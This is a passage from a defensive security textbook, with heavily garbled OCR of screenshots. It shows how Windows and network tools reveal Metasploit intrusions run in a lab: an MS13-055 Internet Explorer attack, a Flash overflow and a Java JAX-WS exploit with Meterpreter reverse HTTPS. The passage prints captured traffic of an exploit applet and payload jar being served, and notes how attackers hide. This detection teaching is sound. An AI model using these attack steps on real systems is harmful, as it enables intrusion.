started with the keyboard shortcut CTRL+SHIFT+ESC; it is also one of the options available on a
running system after pressing CTRL+ALT+DELETE on a logged-in system.

|/ Windows Tesk Manager folre R | | = ™M - B x
= i ions Vi
File Options View Help file Options  View
Processes Pedformance App history Start-up Users Detasils Services
| applications | Processes | Services | Performance | Networking [ sers
- 1% 53% 2% 0%
- Usar U e oo MName cru Mernony Disk Metwork
| corss.exe 00 1,300K ] Apps (2)
dum.exe advorak 00 1,332K  Desktop... > {5 Task Manager % STMB  OAMBs  OMbps
explorer.exe advorak L] 10,628K  Windows ...
searchProtoc... advorsk 00 1L696K  Microsoft ... > @l Windows Command Processor % 0.1 MB OMB/s  OMbps
taskhost.exe  advorak 00 1,416 K HostProc... Background processes (13)
taskmgr.exe advorak 00 2,0583K  Windows ...
userinit.exe advorak 00 1,028K  UserinitL... Cortana 0% 04MB OMEs  OMbps
VBoxTray.exe  advorak L] 2,376K  \VirtualSox... Cartana Background Task Host 0% 13MB 0ME/s 0Mbps
ogan.exe o 2172k [ Host Process for Windows Tasks 0% 13 MB 0 ME/s 0 Mbps
[0 LockappHast 0% 19MB OMB/s  OMbps
Microsoft OneDrive % 14 ME 0IMB/s 0 Mbps
[27 Microsoft Skype Preview % 12 MB 0MB/s 0 Mbps
> £ Microsoft Windows Search Inde... 0% 13MB OMBs  OMbps
[ ] (i Runtime Braker 0% 9.8 MB OMB/s  OMbps
show processes from o users | EndProcess |
l& End > ek Spooler SubSystem App % 0.6 MB 0MB/s 0 Mbps
Processes: 34 CPU Usage: 0% Physical Memory: 42% ) Fewer details End task

Figure 3-1. A comparison of Task Manager on Windows 7 (left) and Windows 10 (right)
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Process Explorer

The Sysinternals tool Process Explorer (procexp.exe) (Figure 3-2) when run as administrator
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provides a more feature-rich tool to manage running processes. Process Explorer color codes the

process name by the process type.
o Green: New processes

e Red: Deleted processes

e Gray-Blue: Processes run by the same user running Process Explorer

e Pink: Services

e  Gray: Suspended processes

e Purple: Packed processes, meaning that it is compressed or encrypted.

Though some legitimate processes are packed (e.g., IrfanView, a common

image viewer), some malware also uses this technique.

e Yellow: .NET processes, or DLLs that have been rebased in memory

e Brown:Jobs

e Teal: Immersive processes; these are only found on Windows 8, Windows
Server 2012, and later operating systems.

& Process Explorer - Sysinterals: www.sysi com [PLUTO\jbach] - o
Eile Qptions View Process Find Users Help
H B EREE|® X & | 1 | ] ]
Process Warking Set
14052 K
= e svehost exe 0.01 16544 K 26535 K 840 Host Process for Windows 5.
[ laskhostex exe 37K 8583 K 1640 Host Process for Windows T
[m T svchost exe 3508 K T5T6K 872 Host Process for Windows S
[E T svehost exe 5144 K 11.212K 936 Host Process for Windows 5.
[ svchost axe TAZK 13,168 K 1040 Host Process for Windows 5.
i spoolsv.exe 2180 K 5524 K 1184 Spocler SubSystem App
[e 7 svchost exe 9956 K 10452 K 1224 Host Process for Windows 5.
[27] MsMgEng exe 0.0 57568 K 47516 K 1428 Antimalware Service Execut
[m T svchost exe BHK 3248K 1868 Host Process for Windows 5
5] MisSev.exce: 40526
2@ 056  43024K
¥A VBoxTray.exe <0.01 1.720K
O procep e 106 3.020K
[ | svchost exe 2140 K
/), Searchindexer exe 17288 K
e 3932K
] WeniPrySE exe 472K
[m ] svchost exe 9808 K
WSHeem | ez s
2 1] System 0.15 40K
B Intemupts 0.74 0K 0K n/a Hardware Interupts and DPCs
B smasexe 188K 752K 264
W carss exe 1.196 K 3000K 35
B camss.ene 0.37 14588 K 14244 K 420
= B winind exe 572K 2888K 428
(=) ] senvices axe 238K SE60K 512
[n Jswchost.exe 34K 768K 580 Host Process for Windows 5... Microsoft Comporation (Verfied) Microsoft Wind... (/64
[Esvehost exe 1912K 4E80K 612 Host Process for Windows 5... Microsoft Comoration (Vedfied) Microsoft Wind... (/64
WA VBoxSenvice exe 1258 K 3564 K 732 VitualBox Guest Addiions 5. Oracle Comanation (Vedfied) Oracle Copora... (V58
[n 7 sass.exe 2680 K 8288K 520 Local Secusity Authorty Proc... Microsoft Comporation (Verfied) Microsoft Wind... 0VE5
= B winlogon exe 1000 K 4E04K 456
T chvem e 038 23552 K S2E88K 724
CPUUsage: 3.29%  Commit Charge: 21.50% Processes: 32 Physical Usage: 2537%

Figure 3-2. Process Explorer on Windows 8.1
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Process Explorer can verify that processes on the system are running with verified signatures;
from the Options menu select Verify Image Signatures. An additional column is shown; if the
application is signed, then the publisher is listed. Though many legitimate applications are
signed, not all are.

Process Explorer can submit the hashes of running processes to VirusTotal for analysis. VirusTotal,
available at https://www.virustotal.com/en/, checks the submission against different antivirus
tools. When VirusTotal is used with Process Explorer (navigate Options » VirusTotal.com » Check
VirusTotal.com), a new column appears in the display indicating the number of antivirus products
that considered the file malicious and the total number of antivirus products checked. Clicking on the
hyperlink in that column takes the user to the corresponding web page on VirusTotal.com.

Double-clicking on any process brings up a dialog box with the properties of that process
(Figure 3-3).

) VBoxTray.exe:2564 Properties — O -
Threads | TcPlP | secuity | Envionment | Strings
Image | performance | PerformanceGraph |  GPU Graph
Image File
ﬁ VirtualBox Guest Additions Tray Application
A (Verified) Orade Corporation

Version:  5.0.32.12930

Build Time: Mon Jan 16 12:02:13 2017

Path: )
| C:\Windows System32\VBoxTray.exe | [Explore
Command line:

: “C:\Windows\System32\VBoxTray.exe”

Current directory:

| C:\Windows\System32\

Autostart Location:

| HKLM\SOFTW/ARE Microsoft\Windows\CurrentVersion\Run\Ve| E;g:lore

Parent: explorer.exe(1520)

Verify
User:  PLUTOVbach , :
Started:  11:28:54AM 3/21/2018 (B9 b Front]
Comment: || | Kil Process |
VirusTotal: | 0/58 || submit |

Data Execution Prevention (DEP) Status: Enabled
Address Space Load Randomization: Bottom-Up
Control Flow Guard:

[ | [ conce

Figure 3-3. Process Explorer on Windows 8.1 examining a process

One tab provides information about the image, including the file name, its version, its current
working directory, and its parent process. The administrator can use the “Bring to Front” button
to have the process appear as the top application on the Desktop. The TCP/IP tab lists all active
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network connections for the process. Other tabs provide information about process execution,
performance, disk and network, running threads, and the environment variables for the process.
The strings tab lists the text strings that occur either in the image or in memory.

Process Explorer can replace Task Manager; from the Process Explorer main menu, navigate
Options » Replace Task Manager.

An open source tool that provides many of the features of Process Explorer is Process Hacker,
available at http://processhacker.sourceforge.net.

Process Monitor

The Sysinternals tool Process Monitor (procmon.exe) records input and output for processes,
including file access, network access, and registry access. Content data is not recorded, though
the process stack is. Process Monitor captures an enormous amount of data on a running system:
far too much to be analyzed live. The events recorded by Process Monitor can be saved for later
analysis; this subsequent analysis can even be done on a different system.

Netstat

Windows systems have a program named netstat to determine the state of the network
connections on the system. Though it is like the Linux tool, the command-line switches are
different. To use netstat to show the listening ports, use the /a switch; to have the ports displayed
in numeric form, use /n; and to include the PID of the process that opened the port, use /o.

C:\Users\Felix Klein>netstat /ano

Active Connections

Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 696
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 380
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 784
. Output Deleted ...

UDP [::]:60876 *ok 1284
UDP [::1]:1900 * ok 1284
uDP [::1]:56500 * ok 1284
UDP [fe80::fc48:a613:€€25:557%11]:1900 *:* 1284
UDP [fe80::fc48:a613:€€25:557%11]:56499 *:* 1284
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The name of the process that opened the connection is available with the /b switch, though
this requires an Administrator level command prompt. The /f switch displays the name rather
than the IP address for destinations. The /p flag filters the results by protocols; for example, to see
just TCP listening ports on IPv6, run

C:\Users\Felix Klein>netstat /a /p TCPvé

Active Connections

Proto Local Address Foreign Address State

TCP [::]:135 Interamnia:o0 LISTENING
TCP [::]:445 Interamnia:o LISTENING
TCP [::]:5357 Interamnia:o LISTENING
TCP [::]:49152 Interamnia:o LISTENING
TCP [::]:49153 Interamnia:o LISTENING
TCP [::]:49154 Interamnia:o LISTENING
TCP [::]:49155 Interamnia:o LISTENING
TCP [::]:49156 Interamnia:o LISTENING

TCPView

The Sysinternals tool TCPView (tcpview.exe) (Figure 3-4) provides a graphical way to view
network connections on the system. Each connection is color coded: new in green, recently
closed in red, and connections that have recently changed state in yellow.

_A TCPView - Sysinternals: www.sysinternals.com - B n
' File Options  Process  View Hﬁp |
da =B

~

Sent Packets  Serit Bytes

114 bengrocioad .. SYN_SENT
133217054
1332170154
@ lrelowexe TcP giclas. pluto test 56151 1332170154
@ frefonexe (] giclss putn test 56152 161170232 53

i 104 16 228 152
13321700154

114 ben-ngre-load ..
235011415
13.32170.154
13.32170.154

giclas 0 LISTENING
i 43157 0 LISTENING
giclas 55317 : .
giclas phita test 49156 gelasputotest 0 LISTENING
giclisphtotest 49157 gclasputotest 0 LISTENING
giclas 9177 giclas 0 LISTENING
ciclas.phto.test 49177 ciclas.outolest 0 LISTENING v

Endpoints: 325 Established: 125  Listening: 33 Time Wait: 87 Close Wait: 0

Figure 3-4. TCPView on Windows 8.1
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Right-clicking on an entry in TCPView brings up a context menu that allows the user to
determine the properties of the process that started the connection; it also allows the user to run a
whois query on the connection’s destination.

Detect: MS13-055 CAnchorElement

Chapter 2 showed how to run the MS13-055 CAnchorElement attack against Internet Explorer
8 on a Windows 7 system running with Java 6 installed. Run the attack, using the Meterpreter
payload and reverse HTTPS.

After the (successful) attack, listing the users on the system shows nothing out of the
ordinary.

C:\Users\Hermann Weyl>wmic computersystem get usexname,name
Name UserName
DAVIDA DAVIDA\Hermann Weyl

Running logonsessions and including information about the processes yields one
interesting artifact - the user appears to be running a copy of notepad.exe, yet the application is
not seen on the desktop

C:\Windows\system32»c:\SysInternalsSuite\logonsessions.exe /accepteula /p
. Output Deleted ...

[6] Logon session 00000000:0001a1do0:
User name: DAVIDA\Hermann Weyl
Auth package: NTLM
Logon type: Interactive
Session: 1
Sid: S-1-5-21-1951036906-3806809855-451517158-1000
Logon time:  8/3/2014 1:35:12 PM
Logon server: DAVIDA
DNS Domain:

UPN:

272: taskhost.exe

380: dwm.exe

688: explorer.exe
1236: VBoxTray.exe
2676: iexplore.exe
2724: iexplore.exe
1592: notepad.exe
1656: cmd.exe
2728: conhost.exe
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The notepad process also appears in tasklist.

C:\Windows\system32>tasklist

Image Name PID Session Name Sessioni# Mem Usage
System Idle Process 0 Services 0 12 K
System 4 Services 0 544 K

... Output Deleted ...

explorer.exe 688 Console 1 34,512 K
VBoxTray.exe 1236 Console 1 4,816 K
SearchIndexer.exe 264 Services 0 9,560 K
wmpnetwk . exe 1936 Services 0 2,324 K
svchost.exe 2496 Services 0 14,012 K
iexplore.exe 2676 Console 1 20,984 K
iexplore.exe 2724 Console 1 20,588 K
audiodg.exe 1660 Services 0 13,600 K
notepad.exe 1592 Console 1 11,344 K
cmd. exe 1656 Console 1 2,216 K
conhost.exe 2728 Console 1 4,024 K
cmd.exe 3564 Console 1 2,336 K
conhost.exe 3380 Console 1 4,072 K
tasklist.exe 1868 Console 1 3,996 K
WmiPrvSE.exe 1860 Services 0 4,604 K

Process Explorer (Figure 3-5) notes the notepad process; unusually, it is running as a child
process for Internet Explorer. Double-click on the notepad.exe process; from the Image tab, use
the button to “Bring to Front”; this should bring the window(s) used by that process to the top of
the Desktop. This fails, with a message, stating that “No visible windows found for this process.”
Together, this is quite suspicious.
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" 2 Process Explorer - Sysintemals: wwwsysintemals.com [DAVIDA\Hermann Wyl =<
File Options View Process Find Users Help
‘A REaEEF x| a® [ | | 1 — 1 W Y I W A
Process CPU  Private Btes = Working Set  PID  Description Comparry Name Venfied Signer Virus... *
= @7 svchost exe 232K 6120 K 580 Host Process for Windows S... Mi ft Ce i (Venfied) Mi ... 0/53
0] WmiPrvSE.exe 2.088K 4880 K 1860 WMI Provider Host Microsoft Coporation  (Verfied) Microsoft... 0/54
87 WmiPrvSE exe 1696 K 4364 K 3052 WMI Provider Host Microsoft Corporation  (Verified) Microsoft... [/54
¥4 VBaoxService exe 0.05 1472K 4200K 640 VitualBax Guest Addgtions S... Oracle Comoration (Verified) Oracle C... 0/54
n T svehost exe 2084K 4948K 704 Host Process for Windows S... Microsoft C (Verfiad) Microsoft... 0/53
= @7 svchost exe 12512K 11,224 K 792 Host Process for Windows S... Mi ft Co i (Venfied) Mi ... 0/53
[0 audiodg. exe 14.908K 13644 K 1452 Windows Audio Device Grap... Microsoft Comporation  (Verfied) Microsoft... 0/54
= [ svchost exe 3.068K 8.364K  B36 Host Process for Windows S... Mi ft Ce i (Verified) Mi f.. 0/53 [
[n 7 dwm.exe 932K 3684 K 380 Desktop Window Manager  Microsoft Comporation  (Verified) Microsoft... 0/54
s svchost exe <001 13,780 K 23416K 860 Host Process for Windows S... Microsoft C (Verffied) Microsoft, . 0/53
[m7 svchost exe 3468 K 6508 K 1032 Host Process for Windows S... M ft Ce i (Venfied) Mi ... 0/53
[m7}svchost exe 0.01 10,888 K 10,044 K 1112 Host Process for Windows S... Microsoft Comoration  (Verfied) Microsoft... 0/53
[n7] spoclsv.exe 4164 K 7944 K 1304 Spooler SubSystem App Mi ft Ce i (Verified) Mi it... /54
[m7svchost exe 8704 K 10832 K 1332 Host Process for Windows S... Microsoft Corporation  (Verified) Microsoft .. 0/53
(a7 svchost exe 3532K 7468K 1432 Host Process for Windows S... Microsoft C (Verfied) Microsoft... 0/53
[m 7 taskhost exe 6,656 K 6076 K 272 Host Process for Windows T... Microsoft Comporation  (Verified) Microsoft... 0/53
[n7] Searchindexer.axe 15.000K 9860 K 264 Microsoft Windows Search ... Microsoft Coporation  (Verfied) Microsoft... 0/51
[m7 wmpnetw exe <001 3.040K 2544 K 1936 Windows Media Player Netw... Microsoft C: i (Venfied) Microsoft... 0/53
[n 7 svchost exe 109,668 K 22432 K 2496 Host Process for Windows S... Microsoft Coporation  (Verdfied) Microsoft... /53 |E
[57]lsass exe 2324K 7.064K 480 Local Securty Authorty Proc... Microsoft C (Verfied) Microsoft... 0/54
[m7lsm exe 1076 K 2800K 488 Local Session Manager Serv... Mi ft Comporati (Vesfied) Microsoft... 0/51
[ winlogon exe 1564 K 4584 K 412 Windows Logon Application  Microsoft Comporation  (Venfied) Microsoft... 0/54
) [ explorer.exe 0.05 29.168K 38908 K 683 Windows Explorer Microsoft C i (Verfied) Microsoft... 0/54
W4 VBoxTray exe 0.0 1256 K 4816 K 1236 VirtualBox Guest Addiions Tr... Oracle Corporation (Verified) Oracle C... /53
= @@ lexplore exe TTEK 20,968 K 2676 Intemet Bxplorer Mi ft Comp (Vestfied) Mi f... 0/54
£ @iexplore exe <00 14764 K 20576 K 2724 Intemet Bxplorer Microsoft Corporation  (Verified) Microsoft... 0/54
/| notepad exe 6296 K 11,340K 1592 Notepad Microsoft Coporation  (Verfied) Microsoft... 0/54
B omd exe 1560 K 2216 K 1656 Windows C Pi Mi ft e i (Verified) Mi ft... 0/53
[ omd exe 1628K 2336K 3564 Windows Ce d Pr Mi it Ce i (Verified) Microsoft... 0/53
2 procexp exe 050 12908 K 20,836 K 2308 Sysintemals Process Explorer  Sysintemals - www.sys... (Verfied) Microsoft... 0/54 | |
‘ 1 »
CPU Usage: 0.88%  Commit Charge: 23.60% Processes: 39 Physical Usage: 38.83%

Figure 3-5. Process Explorer after a successful MS13-055 attack on Internet Explorer using
the Meterpreter payload with reverse HTTPS

On the other hand, the image has a valid signature from Microsoft, and VirusTotal raises no
warnings. This combination of behaviors is expected; as noted in Chapter 2, Metasploit injects its code
into running processes and spawned the notepad process to ensure its survival if Internet Explorer
is closed. Since the original notepad.exe on the disk is unchanged, its signature remains valid, even
though it was modified after it began running.

A check of the TCP/IP resources used by the notepad process or either of the two parent Internet
Explorer processes does not show any connections; neither does TCPView. Downloading a large file
(say 50 MB) from Meterpreter is enough that TCPView notes the connection but then only fleetingly.

If the attacker uses the shell command from within Meterpreter to open a command prompt
on the target, other artifacts become available for analysis. A new cmd. exe process spawns, with
notepad.exe as the parent. Moreover, the connection between the systems now appears, both in
TCPView and in netstat.
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C:\Windows\system32>netstat /ano

Active Connections

Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 704
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 384
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 792
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 860
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING 472
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING 480
TCP 10.0.2.101:139 0.0.0.0:0 LISTENING 4
TCP 10.0.2.101:50515 10.0.2.251:443 CLOSE_WAIT 1592
TCP [::]:135 [::]:0 LISTENING 704

... Output Deleted ...

The PID (1592) for the connection back to the attacker (10.0.2.251, TCP/443) is the PID for
notepad.exe, not the command prompt.

This network connection remains, even if the attacker backgrounds the shell in Meterpreter,
or even backgrounds the entire session.

In this example, the defender did not so much detect the MS 13-055 CAnchorElement attack,
but rather detected the activities of the attacker once they were on the system. The notepad.exe
process (PID 1592) as a child of an iexplore.exe process (PID 2724) was the first anomaly. If the
attacker spawns a shell, then the notepad.exe process makes an outbound network connection,
providing a second anomaly. This is one reason why attackers take care to manage what artifacts
they leave on the system.

Detect: Adobe Flash Player Shader Buffer Overflow

Suppose an attacker uses the Adobe Flash Player Shader Buffer Overflow attack against the
default version of Flash included as the plugin for Internet Explorer 10 in Windows 8. This attack
is launched in the same way as other attacks shown in Chapter 2.

After a successful attack, listing the users on the system shows nothing out of the ordinary,
and the logonsessions command shows only Internet Explorer and its Flash Player plugin
running.

C:\Windows\system32>wmic computersystem get name, username
Name UserName
EUROPA  EUROPA\Pierre Laplace
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C:\Windows\system32>c:\SysinternalsSuite\logonsessions.exe /accepteula /p
...Output Deleted ...

[8] Logon session 00000000:0004c5e9:
User name: EUROPA\Pierre Laplace
Auth package: NTLM
Logon type: Interactive
Session: 1
Sid: $-1-5-21-1376277872-1374384255-2552460128-1001
Logon time:  8/3/2014 3:10:43 PM
Logon server: EUROPA
DNS Domain:

UPN:
1952: taskhostex.exe
72: explorer.exe
2076: iexplore.exe
2124: iexplore.exe
2228: VBoxTray.exe
2296: FlashUtil ActiveX.exe

Similarly, tasklist shows only the usual set of applications, including Internet Explorer and
the Flash plugin.

C:\Windows\system32>tasklist

Image Name PID Session Name Sessiondt Mem Usage
System Idle Process 0 Services 0 20 K
System 4 Services 0 660 K

... Output Deleted ...

explorer.exe 72 Console 1 51,584 K
iexplore.exe 2076 Console 1 22,992 K
iexplore.exe 2124 Console 1 60,184 K
VBoxTray.exe 2228 Console 1 5,972 K
FlashUtil ActiveX.exe 2296 Console 1 6,688 K
audiodg.exe 2756 Services 0 8,160 K
cmd. exe 2928 Console 1 2,360 K
conhost.exe 2936 Console 1 5,924 K
tasklist.exe 2012 Console 1 5,160 K
WmiPrvSE.exe 2424 Services 0 5,336 K

155



CHAPTER 3  OPERATIONAL AWARENESS

Process Explorer (Figure 3-6) shows a pair of Internet Explorer processes; the second (2124) is a
child of the first (2076). It also shows a new instance of svchost.exe, running the Flash Player Plugin.
These applications are running with verified signatures and without being flagged by VirusTotal.

.2 oces:
Eile Options View Process Find Users Help

CIEIE-TSEIRE R Y- | =

1| 1| |

Process CPU  Private Btes | WokingSet PID Description Compary Name Verdied Signer ViusTotll A
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[ 7 audiodg exe 656 K 852K 2756 Windows Audio Device Grap... Microsoft Corporation (Verfied) Microsoft Windows /54
[T svehost ee 13.484K 25576K 928 Host Process for Windows 5... Micrasoft Comoration (Verfied) Microsoft Windows (54
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[8 svchost exe BA48 K 11.204 K 740 Host Process for Windows S... Microsoft Coporation (Verfied) Microsoft Windows 054
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Figure 3-6. Process Explorer after a successful Adobe Flash Player Shader Buffer Overflow
Attack on Windows 8 using the Meterpreter payload with reverse HTTPS

The connection to the attacker’s system is difficult to detect. In general, it does not appear in the
TCP/IP tab of the processes in Process Explorer; it does not appear in TCPView; and it does not appear
in netstat, unless the attacker is making extensive use of the connection between the systems at that
moment. Downloading a large file, for example, is sufficient for the connection to briefly appear. The
connections are not associated with the Flash plugin, but instead associated with the child Internet
Explorer process (PID 2124).

If the attacker leaves Meterpreter and starts a Windows command shell on the target using the
Meterpreter shell command, then two new processes are spawned: a conhost.exe whose parent
is cmd. exe whose parent is the child Internet Explorer process. Even then, unless the attacker is
actively and extensively using the network, the connection does not appear in TCPView.

The original attack did not spawn a second process, making its detection on the target more
difficult. On the other hand, if the Internet Explorer process is killed, the attacker loses their
connection.
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Network Tools

In a physical network, hardware taps and span ports can be used to send copies of network traffic

to one or more sensors. For a smaller test network consisting of virtual machines running on the
same virtualization solution (VMWare or VirtualBox), then the virtualization tools can be used.

On VMWare Workstation with a Windows host, any guest network card in promiscuous mode can
see all the traffic on its virtual network. In VirtualBox, a virtual network adapter can be placed in
promiscuous mode only if allowed by the network settings for the adapter. To view or update the
settings, navigate the VirtualBox main menu for the guest through Devices » Network » Network
Settings. Select the adapter, and from the Advanced Menu, configure promiscuous mode (Figure 1-3).

Tepdump

To capture packets on a Linux host for later analysis, use tcpdump. This tool is installed by default
on most Linux distributions, including the distributions described in Chapter 1. To use tcpdump to
capture packets to a file, say traffic, run (as root)

arcturus:~ # tcpdump -w traffic

Of course, if this runs sufficiently long, the file becomes quite large. To ensure that the
destination file does not grow indefinitely, specify the size of the file (in MB) with the -C option.
This does not stop the capture though; subsequent data is stored in the file traffic1, then
traffic2, and so on. Now though the individual file sizes remain fixed, the process still attempts
to fill the entire disk. The -W option is used to rotate the output through the specified number of
rotating files. Consider the command

arcturus:~ # tcpdump -C 100 -W 5 -w traffic

This collects network traffic and stores the results in traffico until it collects 100 MB of data;
then it stores the results in traffic1 until it fills, on through traffic4. When the last file fills, the
original traffico is be overwritten with new data, and so on.

Wireshark

Wireshark is an excellent tool used to analyze captured packets. It is possible to use tcpdump to
do so, but tcpdump lacks a graphical user interface. It is also possible to use Wireshark directly to
capture packets, and this is often reasonable for small captures to help debug a network problem.

Wireshark is not installed by default on most Linux systems. The installation method varies
with the distribution:

o CentOS:yum install wireshark-gnome
e OpenSuSE: zypper install wireshark

o Ubuntu/Mint: apt-get install wireshark
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A Windows installer is available from the Wireshark page at https://www.wireshark.org/
download.html. That page also has links to older versions of Wireshark.

To analyze multiple packet capture files, they must first be merged. The simplest way to do so
is to drag and drop the files into Wireshark. Wireshark does have the ability to merge two packet
capture files (navigate the main menu through File » Merge), but this only functions on two files
at a time, and one must already be saved.

The default Wireshark display (Figure 3-7) breaks into three panes. The top pane provides a
column-based list of the received frames/packets; the middle pane summarizes the details of the
frame/packet broken down by component; the bottom pane is the raw data from the frame/packet.

The highlighted frame of Figure 3-7, number 11, is an Ethernet frame containing a UDP
packet from the Google nameserver at 8.8.8.8 returning with the results of a DNS query.

@ - Testing peap - Wireshark GGG
File Edit View Go Capture Analyze Statistics Telephony Tools Help
S@don BKHMOCE ®e o 4T B Qe e[ -

Filter: | | v Expression.. Clear Apply

No. : Time : Source - Destination : Protoco : Info
1 0.000000 72.21.91.29 10.0.2.250 TP http > 34548 [FIN, ACK] Seq=1 Acl{
2 0.000193 10.0.2.250 72.21.91.29 TCP 34548 > http [FIN, ACK] Seg=l
cHk NGIQS 72.21.91.29 10.0.2.250 TCP http > 34548 [ACK] Seq=2 Ack=2
45, 63.245.216.132 10.0.2.250 TLSV1

Enc rypted Alert

6 5.663843 10.0.2.250 63.245.216.132 54219 > https [ﬂCK] Seq-l nck-za

TCP

https = 54219 [ﬂD‘] Seq—29 nck 2

8 5.663941 63.245.216.132 13 0. 2 250 TCP

10.0.2.250

9 Erame 11: 109 bytes on wire (872 bits), 109 bytes captured (872 “bits) .

>-Ethernet II, Src: RealtekU_12:35:00 (52:54:00:12:35:00), Dst: CadmusCo_Sc:13:b7 (08:00:27:5c:13:b7)
>-Internet Protocol, Src: 8.8.8.8 (8.8.8.8), Dst: 10.0.2.250 (10.0.2.250)
>-User Datagram Protocol, Src Port: domain (53), Dst Port: 49437 (49437)
>-Domain Name System (response)

Da a2 00 00 ff
00 35 cl 1d 00
00 00 00 00 03

65 64 75 00 0O
01 2b 00 07 04
. « -

Figure 3-7. Wireshark 1.4.6 on OpenSuSE 12.1
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Packets and frames in the list are color coded by type. Additional columns can be included in
the list; one particularly useful column is the absolute time that the packet was received. Right-
click on the column headers and select Column Preferences. Select Add; for the Field Type select
Absolute Time and give the column a name.

The Statistics entry in the main menu provides an entry point for tools that summarize the
properties of the packet capture. For example, Protocol Hierarchy (Figure 3-8) breaks down the
packets by type.

. @ Wireshark: Protocol Hierarchy Statistics W |
Display filter: none

‘% Packets Packets ‘% Bytes ‘Bytes  ‘ Mbit/s : End Pack
10000% | 3154 100.00 % 2553021 '
3154 [N 2552021

~-Internet Protocol 100,00 % 3154 [LAE] 2553021

v~ Transmission Control Protocol 3002 [EEREDY) 2534115
Secure Socket Layer

140[6:38% ] 161743
v~ Hypertext Transfer Protocol
Line-based text data

322 |[8569%] 244130

20[062%) 15744

Compuserve GIF ol017% 4467
Portable Network Graphics

JPEG File Interchange Format

346855 24219
Media Type

3s[[T28%) 31619
2(0.03% | 760
1[003% ) 842

152 [074%) 18906
152 [[074%) 18906

Online Certificate Status Protocol
v-User Datagram Protocol
L pomain Name Service

0
ae.

Figure 3-8. Protocol Hierarchy Statistics from Wireshark 1.4.6 on OpenSuSE 12.1

Wireshark collects packets into conversations that have the same endpoints. To view the
TCP conversations, navigate the main menu through Statistics » Conversation List » TCP (IPv4
& IPv6) (Figure 3-9). The Follow Stream button shows the content of the conversation in a range
of formats, including ASCII.
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| .- TCP Conversations: Testing pcap Y & &

TCP Conversations: 44

Address A : Port A : Address B ‘Port B :Packets :Bytes :Packets A-=B :BytesA>B :P|_
10.0.2.250 34548 72.21.91.29 http 3 180 1 60
10.0.2.250 54219 63.245.216.132 https 5 321 2 120
10.0.2.250 32904 136.160.171.30 http 511 475814 182 15812
10.0.2,.250 38550 74.125.226.1 http 29 20852 13 2987
10.0.2.250 56746 72.21.91.19 http 24 18178 9 867 P
10.0.2.250 56747 72.21.91.19 http 7 434 4 254
10.0.2,.250 32908 136.160.171.30 http 322 265177 138 12945
10.0.2.250 32909 136.160.171.30 http 377 369 646 123 12 241
10.0.2.250 32910 136.160.171.30 http 253 238 344 86 11 403
10.0.2,.250 32911 136.160.171.30 http 340 285320 142 13 695
10.0.2.250 32912 136.160.171.30 http 256 251 049 86 11 009
10.0.2.250 49469 198.8.71.228 http 11 3417 6 718
10.0.2,.250 54387 205,251.242.194 http 6 1026 4 565
10.0.2.250 36357 72.21.91.188 http 8 1159 = 662 |
10.0.2.250 36358 72.21.91.188 http 54 52488 ALy 1708 c

| FHelp || [“)copy | | Follow Stream | | @Close |
Figure 3-9. TCP Conversations from Wireshark 1.4.6 on OpenSuSE 12.1

This just scratches the surface of what can be done with Wireshark; see the Notes and
References section for some excellent resources to learn more.

Detect: Java JAX-WS Remote Code Execution

Chapter 2 demonstrated how to attack a Mint 13 system running Firefox 12.0 and Java 7 Update 5
with the Java Applet JAX-WS Remote Code Execution attack. Set up a Kali offensive system and a
Mint 13 target; also set up a Linux system running tcpdump to capture the packets sent between
the attacker and the target. Run the attack using the Java Meterpreter payload running through a
reverse HTTPS connecting back to the attacker on TCP/443. Use Meterpreter to interact with the
victim system to ensure that some interesting network traffic is generated.

Open the resulting packet capture (Figure 3-10) in Wireshark and examine the list of
conversations. One set of conversations goes from the victim to the attacker on TCP/8080 (http-
alt); this is the request that spawned the attack. Second and far more numerous are conversations
starting from the victim going to the attacker on TCP/443 (https); this is how the attacker interacts
with the victim.
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Conversations: enpOs3 - o ®
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10.0.2.24 51270  10.0.2.2 https 6 685 3 479 3 206 60.560033038 0.1008

» Name resclution ' |Limit to display filter

Help Copy. Follow Stream Grapn A-+B Graph B34 Clase

Figure 3-10. Conversations between attacker and victim of Java Applet JAX-WS Remote
Code Execution Attack using Java Meterpreter through reverse HTTPS. Note the relative start
times. Screenshot from Wireshark 1.10.14 on CentOS 7.3-1611.

Following the stream for the initial conversation shows that the attacker served a .jar file with
an apparently randomly generated name.

GET /bob/ HTTP/1.1

Host: 10.0.2.2:8080

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:12.0) Gecko/20100101
Firefox/12.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

HTTP/1.1 200 OK
Content-Type: text/html
Connection: Keep-Alive
Server: Apache
Content-Length: 119

<html><head></head><body><applet archive="dPBEvO.jar" code="Exploit.class'
width="1" height="1"></applet></body></html>
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Analysis of the second conversation on TCP/8080 shows the victim receiving what appears to
be a Metasploit payload.

GET /bob/dPBEvO.jar HTTP/1.1

accept-encoding: pack200-gzip, gzip

content-type: application/x-java-archive

User-Agent: Mozilla/4.0 (Linux 3.2.0-23-generic) Java/1.7.0 05
Host: 10.0.2.2:8080

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; g=.2
Connection: keep-alive

HTTP/1.1 200 OK

Content-Type: application/octet-stream
Connection: Keep-Alive

Server: Apache

Content-Length: 7886

PKovetnnn. 154 I metasploit.dat....CO...w..".H<O...) . .Ecuvrnnnnn.
[m.bkB..{.t.Y..*."i.f...... @."5. ..ot Seenn IFcoooooeen. S..B.

...... “affR...?h e NG TROmL L 8%. Lt 2.l LU LEL LWL G .

PKeveennn. HxLeeiiniiiiiane metasploit/PK........ +LxLp{-.N...Al...... metasploit/
Payload.class...Xeveeeeeun vunnnn KNE. . x4

... Output Deleted ...

